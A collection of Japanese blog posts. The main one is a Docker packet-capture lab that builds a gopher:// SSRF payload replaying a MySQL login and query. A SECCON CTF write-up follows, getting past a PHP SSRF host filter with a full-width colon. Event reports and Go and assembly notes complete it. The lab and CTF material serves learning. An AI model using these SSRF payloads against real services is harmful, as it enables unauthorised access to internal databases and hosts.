docker間通信をtcpdumpしてpcapをいじる
IPFactory Advent Calendar 2019 14日目の予定だったが繰り上げて6日目(に代打投稿).
IPFactory 3年 azaraです
自分で意図して作ったパケットを見たいのとCTF Writeupで見た攻撃手法で面白そうだったGopherプロトコルでMySQL叩いてみると言うのを試してみたかったのでこの機にやってみる。
前提情報
名称 | バージョン |
---|---|
macOS | Catalina 10.15.1 |
Docker | version 19.03.5, build 633a0ea |
Go | Docker golang:latest |
目次
いろんな通信を眺める
準備
まずはdocker-compose
,client/Dockefile
,app/Dockefile
を書いていく。各個人でgolangの入ったapp
とclient
を用意してもらって、MySQLを用意してもらえればいいです。
僕が使ったのはこちら
File構造
. ├── app │ ├── Dockerfile │ └── src ├── cap ├── client │ ├── Dockerfile │ └── src ├── db └── docker-compose.yml
docker networkの作成
dockerのIP固定のためにDockerNetworkを作成
docker network create \ --subnet 192.168.208.0/24 \ --gateway 192.168.208.254 \ docker-pcap
docker-compose.yml
version: "3" services: db: image: mysql:5.7 container_name: mysqlhost networks: docker-pcap: ipv4_address: 192.168.208.2 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: test_database MYSQL_USER: docker MYSQL_PASSWORD: docker TZ: "Asia/Tokyo" command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci volumes: - ./docker/db/data:/var/lib/mysql - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf - ./docker/db/sql:/docker-entrypoint-initdb.d ports: - 3306:3306 client: restart: always container_name: "client" build: ./client tty: true networks: docker-pcap: ipv4_address: 192.168.208.3 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap links: - db:mysqlhost volumes: - ./cap/:/tmp/cap app: restart: always build: ./app container_name: "app" working_dir: "/root/" ports: - 80:80 tty: true networks: docker-pcap: ipv4_address: 192.168.208.4 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap volumes: - ./cap/:/tmp/cap networks: docker-pcap: external: name: docker-pcap
client/Dockerfile
FROM golang:latest RUN apt update RUN apt -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt install -y nmap curl git wget tcpdump ltrace strace COPY ./src /go/src/app WORKDIR /go/src/app RUN go get github.com/go-sql-driver/mysql RUN go build .
app/Dockerfile
FROM golang:latest RUN apt-get update RUN apt-get -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt update -y && apt upgrade -y && apt install -y tcpdump COPY ./src /go/src/app WORKDIR /go/src/app
Pingを眺める
ここまできたらdocker-compose up -d
でapp
とclient
を実行して疎通確認をしていく。
各IPの対応表
name | IP |
---|---|
mysqlhost(db) | 192.168.208.2 |
client | 192.168.208.3 |
app | 192.168.208.4 |
❯ docker-compose exec client ping 192.168.208.4 -c 5 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4162ms rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms
疎通の確認ができたので、docker-compose stop
でサーバーを止めキャプチャ結果を見てみよう。
赤枠で囲った箇所が今回送ったpingの範囲。
普段疎通確認程度でしかpingを送っていなかったが詳しく見てみるとdataが送れるようだったので試しに送ってみようと思う。
pin data
ここでキャプチャしたpcapは(app|client)_ping.pcap
として保存しておく。
実際に送ってみた
#ひとまず適当な値をpad-byte(-p)に詰め込む ❯ docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65 PATTERN: 0xff61ff62ff63ff65 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4151ms rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms
するとデータには次のような結果が出てくる
48bytesになるまでパターンとして詰められたff61ff62ff63ff65
が確認できる。
次にpacketsizeを大きくしてみたらどうなるのか?と思い投げつけてみる。
❯ docker-compose exec client ping 192.168.208.4 -c 1 -s 65467 PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data. 65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms --- 192.168.208.4 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms
IPv4を1514bytes(内dataは1480bytes)を連続して送りICMP(echo request)を途中で送り、最後にICMP(echo reply)を返している。
pcap file
IPv4で送信されたdata(一部抜粋)
データ送信関係はひとまずこのくらいにしてdocker-compose stop && docker-compose rm
を実行してコンテナを消しておく。
Nmapのスキャンを眺める
次はNmapを実行してどのような動きをしているかみていこう。
はじめに一つのポートをスキャンしてみる。
❯ dcexec client nmap -p 80 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00016s latency). PORT STATE SERVICE 80/tcp closed http MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
ポートが単体の場合はARPを流して、二度80番ポートにスキャンをかけている。なぜ二度ポートスキャンをしているのか、検証は後日にする。
それでは80と443をスキャンした場合どうなるのか?
❯ dcexec client nmap -p 80,443 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00014s latency). PORT STATE SERVICE 80/tcp closed http 443/tcp closed https MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
2つの場合は一つ一つのポートに流し込んでいる。
ここで取得したpcapは(app|client)_nmap80,443.pcap
次に1-10の10個のポートに対してスキャンをしていく。
❯ dcexec client nmap -p 1-10 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.000085s latency). PORT STATE SERVICE 1/tcp closed tcpmux 2/tcp closed compressnet 3/tcp closed compressnet 4/tcp closed unknown 5/tcp closed rje 6/tcp closed unknown 7/tcp closed echo 8/tcp closed unknown 9/tcp closed discard 10/tcp closed unknown MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
不規則な順序でポートスキャンをしている。
不規則な順序にしない場合は-r
をつけることで解決される。
❯ dcexec client nmap -r -p 1-10 192.168.208.4 ~~略~~ Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
次に-A
をつけて検査をする。
❯ dcexec client nmap -A 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00013s latency). All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed MAC Address: 02:42:C0:A8:D0:04 (Unknown) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms app.docker-pcap (192.168.208.4) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
はじめは通常のスキャンのようにランダムにポートをスキャンする。
ポートスキャン終了後に1番に対して何度かtcp通信の再送タイムアウト(TCP Retransmission)や重複したACK(TCP Dup ACK)が帰ってきている。
MySQLとのやりとりを眺める
続いてMySQLのやりとりをみていく。
client/src/main.go
package main import ( "database/sql" "log" _ "github.com/go-sql-driver/mysql" ) var ( dbms = "mysql" credential = "docker:docker" testuser = "test_user" access = "tcp(db:3306)" dbname = "test_database" ) func main() { mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname) db, err := sql.Open(dbms, mysqlaccess) if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } defer db.Close() }
軽くgoで接続用のコードを書いて通信を見ていく。
docker-compose build docker-compose up -d docker-compose exec client ./app docker-compose stop docker-compose rm [y]
先ほど書いたコードの中で、Serverに挨拶 -> login -> db ping -> quit
という一連の流れをしている。
3way hand shake
server greeting
MySQLプロトコルは、はじめに次のような挨拶を交わします。
今回の場合は、認証方式はmysql_native_password
で各種saltなどをclientに送り通信を始めます。
Login Request
パスワードは先ほど受け取ったsaltを用いたハッシュを送信する。
コード内部でdbnameを指定しているので、今回はSchemaに名前が入っている。
Response Ok & Ping & Quit
Request OK
検証しそのユーザーが正しい場合はこのメッセージを返す。
Quit
このMySQLプロトコルにのっとってコマンドやMySQLの操作をする。
client/src/main.go
// ~~前略~~ if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } _, err = db.Query("select @@version_comment limit 1") if err != nil { panic(err) } defer db.Close() }
Query
Response
ここで取得したpcapをclient_mysql.pcap
として保存しておく
GoでGopherプロトコルを流すコードを書く
使うライブラリは https://github.com/google/gopacket
まずは手始めにMySQLの通信をGopher schemaに変換するコードを書く。
Gopher schemaで通信を行う場合gopher://host:port/_tcp stream(%Encoding)
になるのでこの形式に整形しなければいけない。
コードにするとこんな感じ
src/main.go
package main import ( "fmt" "strings" "github.com/google/gopacket/layers" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) var ( pcapfile = "../cap/client_mysql.pcap" mysqlhost = "192.168.208.2" client = "192.168.208.3" ) func main() { pcaphandle, err := pcap.OpenOffline(pcapfile) if err != nil { panic(err) } defer pcaphandle.Close() packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType()) //displayPacket(packetSource) convGopher(packetSource) } func convGopher(packetSource *gopacket.PacketSource) { var gopherpayload map[string]string gopherpayload = map[string]string{client: "", mysqlhost: ""} for packet := range packetSource.Packets() { ipv4l := packet.Layer(layers.LayerTypeIPv4) tl := packet.Layer(layers.LayerTypeTCP) ipv4, _ := ipv4l.(*layers.IPv4) if tl == nil || packet.ApplicationLayer() == nil { continue } tcp, _ := tl.(*layers.TCP) if tcp.FIN { break } if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) { gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "") } } fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client]) } func stringRawData(payload []byte, hexTop, joinString string) (raw string) { var hexs = make([]string, len(payload)) for i, v := range payload { hexs[i] = fmt.Sprintf("%s%02x", hexTop, v) } raw = strings.Join(hexs, joinString) return raw }
この状態で接続自体が可能かを確かめてみる。
❯ pwd /<file path>/docker-lab/src ❯ go run . Gopher : gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 ❯ docker-compose build && docker-compose up -d ~~ 中略~~ Successfully built 50d1b4d43281 Successfully tagged docker-ssrf_app:latest mysqlhost is up-to-date app is up-to-date client is up-to-date ❯ docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0 a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% 00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a %8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6 5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 J 5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)
今回の場合MySQLにパスワードがかかっているので、パスワード認証プロセスが挟まれる。
MySQLのパスワード認証プロセスは次のような形となる。
- サーバーに挨拶
- チャレンジレスポンスのためのソルトを送信
- クライアントはそのソルトとパスワードを元にレスポンスを生成
- レスポンスを送信後からDBの操作が可能となる
この場合MySQLを非対話形式で叩いてもMySQLは動作しません。
次にパスワードなしでやってみる。
client/src/main.go
//~~~前略~~~ 20行目 mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname) //~~~中略~~~ 31行目から quitコマンド送信のため rows, err := db.Query("select @@version_comment limit 1") if err != nil { panic(err) } err = rows.Close() if err != nil { panic(err) } //~~~後略~~~
実行
docker-compose build docker-compose up -d docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database docker-compose exec client ./app docker-compose stop docker-compose rm [y]
次のこのpcapを元にgopherを生成する。
❯ go run . Gopher : gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01
その後実行をすると次のように表示される。
> docker-compose build docker-compose up -d docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01 J 5.7.28~Sx. n?m�����X06Qu;c<5mysql_native_password'def@@version_comment -p��MySQL Community Server (GPL)� > docker-compose stop docker-compose rm [y]
dumpしたpcapを確認すると実際にMySQLプロトコルで通信をしていることがわかる。
以上!
参考
Docker doc
TCP Error
gopacketでpcapを読み込む
gopacket
SSRF攻击MySQL
SECCON CTF quals 2019に参加した
お前は何日まえの日記を書いているんだ?と言われそうだが一応足跡がわりに書き残しておこうと思って投稿します。
簡単な感想と役割
ここ最近新しいチームに入って「CTFタノシイ」みたいな感じになってきたし、SECCONに出てみた。
チーム内での役割はWeb問題をとく人だった。昨年出場した際は別のチームで何一問も解けず、時間とただただ溶かし人権がない状態になり最終的には誰もお前を愛さない状態になってしまっていたので、「今年もそうなるんかなー?」みたいなお気持ちでした。
結果として一問解けたし、楽しい問題をプレイできたので満足しています。
WriteUp
Option-Cmd-U
問題文
No more "View Page Source"! http://ocu.chal.seccon.jp:10000/index.php
ほーん、便利やん。と言う感想から問題を解き始めた。
解法
該当ページにアクセスするとこんな感じにフォームがあった
URLを入れると"Option-Cmd-U"のようにHTMLを表示してくれるのだろうと思い入力。
するとこのようなコメントが見えるではないか。
<pre> <!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml --> </pre>
嬉しいことにソースコードが表示できるようなので表示してみる。
<?php if (isset($_GET['url'])){ $url = filter_input(INPUT_GET, 'url'); $parsed_url = parse_url($url); if($parsed_url["scheme"] !== "http"){ // only http: should be allowed. echo 'URL should start with http!'; } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) { // local access to nginx from php-fpm should be blocked. echo 'Oops, are you a robot or an attacker?'; } else { // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/ highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) )))); } } ?>
事前に得たコメントアウトからの情報(permits access only from internal network
)とコードを見た感じ、Flag入手の方法はhttp://[nginx hostname]:xxxx/flag.php
となりそうなので、/docker-compose.yml
を見てdocker-compose内でのhostを確認するのが一番手っ取り早そう。
と私の頭の中ではならなかった。
確かに/docker-compose.yml
は見た。そこで私は何個のコンテナが動いているのか確認して終わってしまった。
私が次にとった行動が、/flag.php
へのアクセスだ。
アクセスをすると次のように自分のIPが表示される。
Forbidden.Your IP: xxx.xxx.xx.x
なのでひとまず先ほどのフォームにぶち込んでコンテナのIPを取得
Forbidden.Your IP: 172.25.0.1
取得後、このIPが実際にこのコンテナのものなのか確認するためにhttp://172.25.0.1:10000/flag.php
を入力し、このコンテナのIPであることを確証する。
docker-composeで動いているコンテナ数が2個だったので+-2くらいでNginxのIPにたどり着くと思いアドレスを加算、http://172.25.0.3:10000/flag.php
にアクセスした際に
Oops, are you a robot or an attacker?
が表示されたので、このIPがNginxのIPであると確信する。
次にif (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
の突破をしなくてはならない。このif文内できになるのはidn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)
の部分
if (isset($_GET['url'])){
$url = filter_input(INPUT_GET, 'url');
$parsed_url = parse_url($url);
~~~中略~~~~
} else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
// local access to nginx from php-fpm should be blocked.
echo 'Oops, are you a robot or an attacker?';
} else {
~~~後略~~~
この$parsed_urlはidn_to_asciiを通す前にパースする前にidn_to_ascii
を通しているので、Unicodeの互換文字を利用すれば突破できそう(今年度のBlackHatで発表されたHostSplit: Exploitable Antipatterns in Unicode Normalization
を参考に)。
どこを修正すると綺麗に分割できそうかなと考えた結果:
の全角文字だと行けることがわかりhttp://172.25.0.3:80/flag.php
をsubmitして
SECCON{what_a_easy_bypass_314208thg0n423g}
Flagゲット!
キャンプに行った ~ セキュリティ・キャンプ全国大会 2019 チューター参加記 ~
今年度もセキュリティキャンプ全国大会に参加してきたのでブログを書きたいと思ういます。
今年度は昨年とは異なりチューター*1として参加して感じたことと、どのような意識の変化があったかを書ければいいなと思います。
*1 : 講義・運営のサポートや参加者のフォロー、そして成果報告プレゼンテーション(LT)などをしてキャンプを支える業務
チューターの日程
Day | 内容 |
---|---|
8/12(月) | 事前準備 |
8/13(火) | オリエンテーション/グループワークサポート/LT大会 |
8/14(水) | 必須講義/ホームルーム |
8/15(木) | 選択講義/会員企業のお仕事紹介/グループワークサポート |
8/16(金) | 選択講義/会員企業のお仕事紹介/グループワークサポート |
8/17(土) | 集合写真/成果報告/閉会式への参加 |
チューターと受講生は何が違うの?
受講生というのは、国や企業からの支援のもと名だたる講師の方々から講義を聞き技術を学べるという、技術を学ぶ学生として圧倒的に飛躍させてくれるめちゃくちゃいい制度で大きな責任というものは追わない、強いて言うなら今回来れなかった他の応募者の分までしっかり学ぶことが最大の責任なので実質責任はゼロなのではないでしょうか。
チューターと言うのは、セキュリティキャンプ協議会との間でチューター業として委託する形態を取っており、"仕事"として扱われます。業務の内容としては受講者の健康管理や講義のサポート、受講者間でのコミュニケーション円滑化のためのサポートなど、セキュリティキャンプ全国大会全体の円滑な運営をサポートするのが大きな役割です。
大きな違いといえば、やはり責任が付いて回ると言うことでしょう(と言っても講師の方や協議会の運営の方々とは比にならないほど小さなものではありますが)。
チューターの良いところ
講師・プロデューサーとより近くで話せる
夜遅くに講師の方にお話を聞く機会をいただいたり、少し交流のある(僕の場合は交流のある人にひっついて)講師のお部屋に「突撃隣の晩御飯」をしに行くことができるなど、かなり充実した時間をいただけました。(多くは語らないのでぜひ来年度のチューターに応募しましょう!)
刺激がいっぱい
先の"講師・プロデューサーとより近くで話せる"と言うのもかなりの刺激なのですが、チューター間での交流や受講者との話の中で技術的な刺激を多く受けることができます。
特に集中開発の人たちには昨年に引き続き、すごく良い刺激をいただきました。私も負けてられない....!
最後に
チューターになると必ずLTをやることになるので、チューターを目指すみなさんは来年まで気を抜かずに何かチャレンジをしておくといいと思います!
以上!
おまけ
LTで話した資料
※外部公開版なので一部スライドを削除しております
SecHack365にいきました ~ 神奈川編 ~
どうもazaraです。5/16(金) ~ 5/18(日)にSecHack365第1回の集合があったので、それについて書いていきたいと思います。 目次
SecHackとは?
国立研究開発法人情報通信研究機構(NICT)が実施する人材育成プログラムの一種で、下記の引用文のような内容を行い、1年間を通じ物作りをしていくものになります。
25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。
詳しい内容はこちらから sechack365.nict.go.jp
第1回集合までの諸情報
参加コースと題材
自分が参加したコースは開発駆動コースの仲山ゼミで、開発の題材は「DevSecOpsのdeploy段階に組み入れやすい脆弱性診断ソフトウェアの開発」を題材に開発を進めていこうと思っています。
SecHack365に参加すると決めるまでの経緯
参加の経緯として、自分の所属するサークルの先輩が昨年参加をしており、その話を聞いていて「開発もできてアウトプットもできて、温泉も入れるなんでなんて素晴らしいイベントなんだ!」とおもい参加をしようと思い立ちました。
ただ、その時点では思い立っただけでどんなコースがあるのか、自分が何を開発していきたいのかも定まっていなかったので若干焦り気味ではありました。なんとかまとまるもので締め切り3日前までに作りたいソフトウェアの大まかな構成なども書き出し添付資料として提出することができました。
思い立ったら吉日
思い立ったら吉日と言わんばかりに、合否の連絡が来る前であるにも関わらず、前提知識の収集や実装可能であれば神奈川集合までにコツコツとコードを書いていこうと考えて、時間があったらコードを書いてコミットをする生活をしていました。
第1回神奈川回
開始前にお昼を食べなければならなかったので近くのカフェでピザを食す
某365前のお昼 pic.twitter.com/2EGL0BxHn8
— Azara/nori (@a_zara_n) May 17, 2019
1日目はオリエンテーションやセキュリティイノベーターになるヒントや道筋を定めるための考え方(アイデア脳になる方法)やマンダラートの手法について話を聞きました。
夜にはトレーナーさんを囲みトレーナーさんの得意な分野や考え方などについてお話を聞きました。1日目ということもあり緊張感からトレーナーさんに質問ができなかったのが悔やまれます。
2日目は主にサイバーセキュリティに関する脅威を想定したアイデアソンを行いました。自分自身初めてのアイデアソンということもあり、新鮮な気持ちで挑むことができました。このアイデアソン自体、初めて対面で会ったチームメンバーと物事を考え、話をまとめなければならなかったので初めはうまくいくのかと心配ではありました。しかし同じ班のメンバーが話をまとめてくれたり修正してくれたりと互いに助け合いながら発表ができたので、よかったなと思っています。この場を借りてIチームだったメンバーに感謝の意を示したいと思います。
また個人的な反省点として、出てきたアイデアの中にあった基礎的な技術知識がなくうまくいかなかったので、もっと短時間で情報の収集ができるように努力していきたいと思いました。
2日目の夜と3日目はコースワークということで、自己紹介と自分の作りたいものの説明、進捗と今後の目標を発表しました。メンバー全員がある程度のプロトタイプのようなものや概念実証をした上で集まっていたので、正直驚き半分、尊敬半分であっけにとられていました。
所感
これからおおよそ8ヶ月の期間で自分の実装したいものが完成するのかどうかはまだわかりませんが、形として見せられるレベルまでに持っていけたらと思っています。
まずは楽しくHackすることを目標に日々を頑張っていきます!
Goに慣れたいのでWebアプリケーションを作る - 01: Go言語によるWebアプリケーション開発 Web Chat編 -
書き出し
Goを学んだのに今の今までGoを使わずに生活していたので、何かしら作ってみてGoに慣れようと思った。
参考にした書籍
Go言語によるWebアプリケーション開発
感想
第3章までやって
今回は書籍の3章までをを参考にしてWebアプリ作成のチュートリアルがわりに、簡単なChatアプリを作成しました。 実際に作成して思ったことを下記に書きます。
作成時に思ったこと
- PHPに比べ、Goはコードの量が少し多くなってしまうな
- testが書きやすい
- net/httpが万能すぎる
- オブジェクト指向ではないが構造体とメソッドが便利
- 非同期がデフォルトで利用できるのは最強なのでは
個人的に思ったこととして、Go+標準ライブラリ+少しのOSSでフレームワークのような使い方ができるのが自分の中ですごいなと思ったポイントでした。また、Go自体が書きやすく、書いていて楽しくなっていくのでもっと触れて、慣れていきたいと思います。
第4章以降に向けて
ただ本を写すのではなく、せっかくgo test
があるのでうまく組み合わせながらより積極的なテスト開発の練習を行なっていきたいなと思った次第。
GitHub
アセンブリ言語について少し学ぶ
書き出し
アセンブリ言語について少し学ぶ。 メモ程度のもの。
本文
コマンド
# nasmは Netwide Assemblerの略称 nasm -f<format> <in> -o <out> #optin #-f : format # リンク用のGNUコマンド ld -o <out> <in>
メモ
hello.asm
global _start section .data message:db 'hello, world!',10 section .text _start: mov rax, 1 mov rdi, 1 mov rsi, message mov rdx, 15 syscall mov rax, 60 xor rdi, rdi syscall
この場合、.data(global 変数)
にdb(data byte)
の変数mesageを配置している。
また命令セクションである.text
に_start命令を配置し、syscallの呼び出し準備を行う。
syscall呼び出し時のレジスタ内部
今回自分の中で確認するために、はじめのwriteのコール時のシステムコールを元に解釈していく。
レジスタ | 値 | 意味 | 内容 |
---|---|---|---|
rax | 1 | system call | system call number |
rdi | 1 | 第一引数 | discription(書き込み先) |
rsi | message | 第二引数 | 文字列の先頭アドレス |
rdx | 14 | 第三引数 | 書き込むバイト数 |
C言語で表すとこのような表示になる。
#include <unistd.h> ssize_t write(int fd , const void * buf , size_t count );
syscall実行時にraxからwriteが実行され、引数として先頭からrdi,rsi,rdxが配置される。
変数の定義
表記 | 意味 |
---|---|
db | data byte|1byte |
dw | data word|2byte |
dd | data double word|4byte |
dq | data quad word|8byte |
例
section .data example1:db 1, 1, 2, 3, 5, 7 example2:times 999 db 1 example3:dw 999
times
変数(data)は、どのセクションの内側でも作ることができる。 CPUから見ればデータも一つの命令となるので解釈される。
実際にelfファイルにし、確認してみようと思う。
次のような内容になっており。しっかりと.data
や.text
にセクションが割り当てられていることがわかる。
$ objdump -D hello
hello: ファイル形式 elf64-x86-64 セクション .text の逆アセンブル: 00000000004000b0 <_start>: 4000b0: b8 01 00 00 00 mov $0x1,%eax 4000b5: bf 01 00 00 00 mov $0x1,%edi 4000ba: 48 be d8 00 60 00 00 movabs $0x6000d8,%rsi 4000c1: 00 00 00 4000c4: ba 0f 00 00 00 mov $0xf,%edx 4000c9: 0f 05 syscall 4000cb: b8 3c 00 00 00 mov $0x3c,%eax 4000d0: 48 31 ff xor %rdi,%rdi 4000d3: 0f 05 syscall セクション .data の逆アセンブル: 00000000006000d8 <message>: 6000d8: 68 65 6c 6c 6f pushq $0x6f6c6c65 6000dd: 2c 20 sub $0x20,%al 6000df: 77 6f ja 600150 <_end+0x68> 6000e1: 72 6c jb 60014f <_end+0x67> 6000e3: 64 21 0a and %ecx,%fs:(%rdx)
局所ラベルの利用とレジスタの出力
section .data codes: db '0123456789ABCDEF' section .text global _start _start: mov rax, 0x1122334455667788 mov rdi, 1 mov rdx, 1 mov rcx, 64 jmp .loop ;このstartで、rax内に値が存在する状況を生成。 .loop: ; 16文字の出力を行うためにこのloopで出力を行う。 ; 先の_startで設定したカウンタレジスタ内に16バイト分の数値を設定し、それを減算することにより文字列を出力する。 push rax ; raxの値を退避させることにより、値を保持。 sub rcx, 4 sar rax, cl and rax, 0xf lea rsi, [codes + rax] ;[codes + rax]は相対アドレスを意味する。 mov rax, 1 push rcx syscall pop rcx pop rax test rcx, rcx jnz .loop ; testで0でないことを確認してから、.loopへ飛ばす。 ; 文字数がなくなった時点でloop処理を終了し、exitする。 mov rax, 60 xor rdi, rdi syscall
.loop
のように先頭にピリオドを配置することにより局所的なラベルとして機能する。
今回の場合_start.loop
という扱いになる。
